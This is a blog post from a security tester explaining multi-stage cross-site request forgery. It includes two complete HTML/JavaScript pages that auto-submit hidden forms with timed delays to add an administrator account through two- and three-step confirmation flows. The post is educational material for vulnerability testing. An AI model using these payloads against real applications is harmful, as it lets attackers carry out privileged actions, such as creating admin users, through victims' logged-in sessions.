Sunday 13 December 2015

Multi Stage CSRF attack

Some times while testing for a CSRF vulnerability, we come across scenario where to perform a certain action, more than one form needs to be filled up or multiple different requests needs to be fired before we can actually complete a action successfully. This scenario is also vulnerable to CSRF attack given that certain conditions are met. The obvious conditions in case of successful CSRF attack are:
  • The victim user should be logged into the victim site using a browser.
  • The attacking request should be opened on the same browser on which the user is logged in the victim site.
  • The attacker should know all the parameters of the request which performs a certain action.
For successful multi stage CSRF attack, following additional thing is required:
  • The subsequent requests should not depend on any values received from the previous responses.
For explanation purpose, we'll consider a 2 stage CSRF attack where two subsequent requests are required to complete a action.

Consider a case where admin can add a user to the application. The action flow is as follows:

  • The action works in 2 stages. First, a request to add user is sent with parameters 'action=add' and 'user=<username>'.
  • Then a confirmation for user addition is asked by the server. Hence a second request needs to be sent with parameter 'confirm=true'. 
  • Without the submission of second request, the user addition would not be possible. Hence, a single stage CSRF attack wont work.
CSRF attack for the above case can performed using the below code which contains both the required requests.
Code:
<html>
<form name="testform2" method="POST" action="http://localhost/confirm.php">
<input type="hidden" name="confirm" value="true" />
</form>
<script type="text/javascript">
 window.setTimeout(SubmitTestform, 4000);
 function SubmitTestform()
 {
  document.testform2.submit();
 }
</script>

<form name="testform1" method="POST" action="http://localhost/useradd.php">
<input type="hidden" name="action" value="add" />
<input type="hidden" name="user" value="new_admin" />
</form>
<script type="text/javascript">
document.testform1.submit();
</script>
<html>

The above code causes a delay of 4 seconds between the first request to 'useradd.php' and second request to 'confirm.php'.

In the same way above, you can modify the above code with your own requests.

For more than 2 stages, the above code can be used with incremental delays after each request, the last request being at the top of the code and the first being at the bottom.

Example code for 3 stage CSRF:

<html>
<form name="testform2" method="POST" action="http://localhost/confirm2.php">
<input type="hidden" name="confirm2" value="true" />
</form>
<script type="text/javascript">
 window.setTimeout(SubmitTestform2, 4000);
 function SubmitTestform2()
 {
  document.testform2.submit();
 }
</script>

<form name="testform1" method="POST" action="http://localhost/confirm.php">
<input type="hidden" name="confirm" value="true" />
</form>
<script type="text/javascript">
 window.setTimeout(SubmitTestform1, 2000);
 function SubmitTestform1()
 {
  document.testform1.submit();
 }
</script>

<form name="testform" method="POST" action="http://localhost/useradd.php">
<input type="hidden" name="action" value="add" />
<input type="hidden" name="user" value="new_admin" />
</form>
<script type="text/javascript">
document.testform.submit();
</script>
</html>

Tags: Multi-stage CSRF, two stage CSRF, 2 stage CSRF, multi stage CSRF.


No comments:

Post a Comment